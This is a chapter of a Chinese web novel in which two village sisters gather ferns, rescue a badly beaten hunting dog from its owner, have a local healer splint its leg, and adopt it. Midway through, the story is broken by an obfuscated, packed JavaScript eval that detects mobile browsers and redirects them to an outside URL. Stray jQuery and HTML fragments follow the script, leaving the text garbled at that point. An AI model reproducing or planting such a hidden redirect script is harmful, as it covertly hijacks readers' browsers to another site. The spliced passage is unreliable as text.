春溪山,山中间背阴面的山坡上,郑秋米攥紧手里的麻绳,极其灵活的在陡坡上走动着。


    麻绳的一端拴在粗壮的桦树干上,另一端在郑秋米腰间系了个死扣。


    ……她想系活扣来着,被郑秋穗撒泼打滚以死相逼了。


    站稳后,郑秋米迅速把坡地上的蕨菜一扫而空。


    松软的黑色土壤随着女人的脚步“簌簌”往下掉,坡顶上,郑秋穗一颗心只晃悠。


    瞧见背篓装满,郑秋穗麻利拉了上来,换了新的空背篓又送到郑秋米身边。


    两人默契配合下,四个背篓装的满满当当。


    赶紧把郑秋米拉了上来,郑秋穗才总算松了一口气,“人字形”瘫倒在了林地里。


    郑秋米瞧着好笑,摸了摸鼻子。


    “你姐是那么不知轻重的人吗?我是有把握才下去摘的。”


    郑秋穗翻了个白眼。


    “你最好考虑清楚,你要是再这么冒险出了事,就勤等着村里给你传些好话吧。”


    “传啥好话?”郑秋米莫名。


    “老郑家大女儿为了口吃的摔死了呗!”


    “……”


    郑秋米想说自家妹子尽说昏话,可偏偏她了解族亲……这还真是他们能说出来的话……


    “到时候咱爹咱娘就等着被人笑死吧”,眼瞧着自家大姐表情动摇,郑秋穗赶紧填了把火。


    “大闺女为了从山里摘掉吃的摔坏了,二闺女为了从地里刨食儿把县里的活计辞了,也不知道老郑家是饿怕了还是怎么滴……”


    屁股被踢了一脚,瞧见自家大姐难看的脸色,郑秋穗意犹未尽的住了嘴。


    郑秋米翻了个白眼,她这妹子一张嘴忒厉害。


    “带来的四个背篓都装满了,咱今儿摘得够多了”,郑秋米手下使劲儿,把赖在地上的妹妹拉了起来。


    “趁着天儿还亮堂,回去帮你姐夫收拾收拾,这些东西得赶紧处理了,过了夜就蔫儿了。”


    郑秋穗没反抗,顺着姐姐的力道站起身。


    “……姐,你那胳膊感觉咋样了?”


    “还成,刚绑上那几天疼,这几天有些木了,酸胀酸胀的。”


    “……过几日你去镇上,我跟你一块去。”


    “……瞧个胳膊还得你护送姐去呀?”


    “那必须的呀,我姐这胳膊,金贵着呢!”


    “哈哈哈哈”


    ……


    两人你一言我一语,脚步轻快往山下走去,路上的族人瞧见了,善意的笑笑。


    山下,太阳斜斜照在村头。


    村口大树下,几位老人坐在木桩上正晒太阳,时不时交谈几句,烟锅里的火星子随着呼吸明明灭灭。


    田埂上,女人们正用锄头浅浅地翻着垄。


    乡间小路上,三三两两的男人们背着绿莹莹的背篓下山,脸上满是笑意。


    孩童的欢笑声被风声裹挟着,落在晒得暖烘烘的土坯墙上。


    郑秋穗顿住了脚步。


    她刚才仿佛听到什么声音,可仔细听去,好像又没声了……


    “怎么了?”


    郑秋米问道。


    “听错了,走吧。”


    ……


    简陋的土坯院儿里,一只沾满黑泥的棕色大狗踉跄着挪到墙角。


    它浑身的毛都打结了,整只狗团在一起,只有小小的一只。


    它正一瘸一拐的走着,努力的想把自己藏在墙根儿的阴影下……它藏好了……


    等了好久都没有等来毒打,坏蛋一定是找不到他了!


    它果然是最聪明的狗啊……


    然而下一瞬,它像团破布一样被踢到了门外……


    大狗瘫在那里发着抖,努力的把自己团成一团,它站不起来了……


    这人好坏,它得赶紧跑,腿好疼啊……


    身上阳光逐渐被遮挡住,女人一步步走了过来,直到完全把它笼罩。


    瞧见女人高高举起的扁担,大狗终究哀哀的叫了起来。


    却不料下一瞬,阳光再次铺满大狗的全身。


    郑秋穗一脚把施暴的女人踹开,面色阴寒。


    女人身材矮小,长相一般,被一脚踢到在地上,见郑秋穗站在面前,有些忌惮。


    “……我……我的狗不听话我教训它,你做什么打我?”


    “你不听话,姑奶奶也教训教训你。”


    郑秋穗气急,压根不与那人多说,上前去左右开弓,把人打的嗷嗷直叫。


    一旁的郑秋米没有阻止,蹲在地上查看大狗的伤势。


    “小妹,这狗伤的不轻,得赶紧去找人瞧瞧……”


    郑秋穗停住动作,把被打的半死的人扔在地上。


    那狗被打的着实不轻。


    一条前腿弯曲成不正常的模样,一条后腿皮开肉绽,肿得不成样子,身上的伤不知多少,毛一缕一缕的粘在一起,混着不知名的东西糊成一片。


    它睁开了眼,浅褐色的眼睛湿漉漉的望着眼前严肃的女人。


    不要打它了,再打它真的会死的,大狗哀哀的叫着,神色悲伤。


    “不会打你了,我带你去治病。”


    这条大狗的毛毛是红棕色的,红棕色的鼻子、红棕色的舌头……这是一只极其漂亮的大狗。


    仿佛它能听懂一般,郑秋穗安慰了它几句。


    轻轻的把狗抱在怀里,被鲜血和污泥涂了一身,郑秋穗半点没嫌弃。


    大狗瑟瑟发抖,不敢抬头……但是,好温暖啊……


    皮肉上的剧痛仿佛都消散了几分,好似回到了在山间自由奔跑的日子。


    两姐妹分开行动。


    郑秋米提溜着被打的半死的女人,往族长家去。


    郑秋穗则抱着狗,往村东头快步跑去。


    沿途的人有些担忧的望着一人一狗。


    几个年轻女人见状,快步跑去了村东头。


    跨越了半个村子,正在路中间气喘吁吁的郑秋穗有些绝望,还有一半的路……


    怀里狗的温度随着血液慢慢消逝……


    却不想瞧见几个女人拎着背篓,背着一个白发苍苍的女人迎面跑过来了。


    “穗姐,你是找白姨吧?白姨可是给牲畜治病的一把好手。”


    几个女人气喘吁吁道。


    “谢……谢谢你们。”郑秋穗喃喃道。


    “哎呀,慢点慢点,我这把老骨头都要被你们颠散架了。”


    白发苍苍的女人被放了下来,迅速给给“绑架”她的人,有一个算一个背上赐了一巴掌。


    转头,女人看向了郑秋穗怀里伤痕累累的大狗。


    “白姨,麻烦您给看看它的伤。”


    郑秋穗赶紧道。


    于是,郑秋穗胳膊上也挨了一巴掌。


    “快把它放下!受着伤,你这样抱着它不舒服!”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734598|189395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>郑秋穗愣了下,赶忙松手要把狗放在地上。


    不曾想,大狗呜呜咽咽的,直往她怀里钻。


    眼瞧着大狗的伤又淌出了血,郑秋穗不敢动了,求救一般看向眼前的白姨。


    “……罢了罢了,你抱着我瞧瞧吧。”


    郑秋穗点点头。


    大狗有些害怕,睁着眼,紧张兮兮的又往郑秋穗怀里缩了缩。


    被叫做白姨的女人,瞧着年纪大了,手脚却很是麻利。


    在大致看过大狗的伤后,从身后的背篓里拿出一个小瓮,把瓮里黑漆漆的,味道奇怪的东西仔仔细细抹到大狗的伤处。


    然后看着大狗的前腿叹了口气。


    “前腿折了,我得给它固定好然后敷药,你稳住它。”


    郑秋穗点点头,一把握住了狗嘴。


    “……”白姨顿了顿,继续动作。


    大狗懵懵的,没反抗,它的伤口凉凉的,终于不痛了。


    但很快,大狗便感觉自己的伤腿被人抓住了……


    好痛啊!


    大狗剧烈挣扎了起来。


    好在郑秋穗力气大,稳稳的抓住了。


    等到把那条受伤的狗腿固定好,白姨已经满头大汗,随后又拿出身后的白布条,把大狗严严实实的包扎了起来。


    基本上……就剩个狗头和两只完好的腿在外面了。


    大狗的模样有些滑稽,终于被郑秋穗放开了嘴筒子,想舔舔自己的伤又无从下口。


    它有些委屈……


    “它这身子骨好,恢复的也快,除了那条被打折的腿,剩下的有个十天半个月也就好了。”


    白姨收拾自己的东西,准备回家了。


    这群混不吝的,她正在山上挖着野菜呢就给她架下来了!


    “二斤棒子面或者高粱面,都成,我不挑。十天内给我送家里去。”


    白姨要诊金了,郑秋穗连忙点头。


    ……瞧着郑秋穗关心怀里这狗不是作假的,白姨顿了顿,语气缓和了些。


    “它身上的白布拆下来拿草木灰仔仔细细洗洗干净,放锅里开水煮上一刻钟,完了太阳底下晒干了给我拿回去。”


    这人竟是会做消毒工作的,郑秋穗认认真真的点头。


    “穗姐,这狗瞧着可是条好猎狗,谁家的,怎么打成这样?”


    一旁的女孩忿忿。


    北疆的人家难免上山打猎,家家都爱养狗,最瞧不得的就是虐狗。


    郑秋穗把见闻一五一十说了,一群姑娘愤怒的朝族长家走去。


    怀里的狗瘦骨嶙峋,抱着却是热乎乎的。


    它乖乖的窝在郑秋穗怀里不动弹。


    一人一狗默默对视。


    被一双湿漉漉的眼睛看着,郑秋穗莫名觉得这狗连眼白都透着股子可怜。


    “……”


    没办法,郑秋穗只得认命把狗带回了家。


    于是,继捡了个娃娃回家后,郑秋穗又捡了条狗回去。


    被一家人幽幽的看着,郑秋穗默默的移开了视线。


    这狗被取了个名儿,叫红果,全名郑红果,成了老郑家的第八名成员,在老郑家安家了。


    与此同时,郑秋穗终于后知后觉的发现了一个问题。


    被捡回来的两个小娃娃叫啥?


    算是她的弟……还是她的娃?


    “……”


    老郑家的饭桌久违的……沉默了。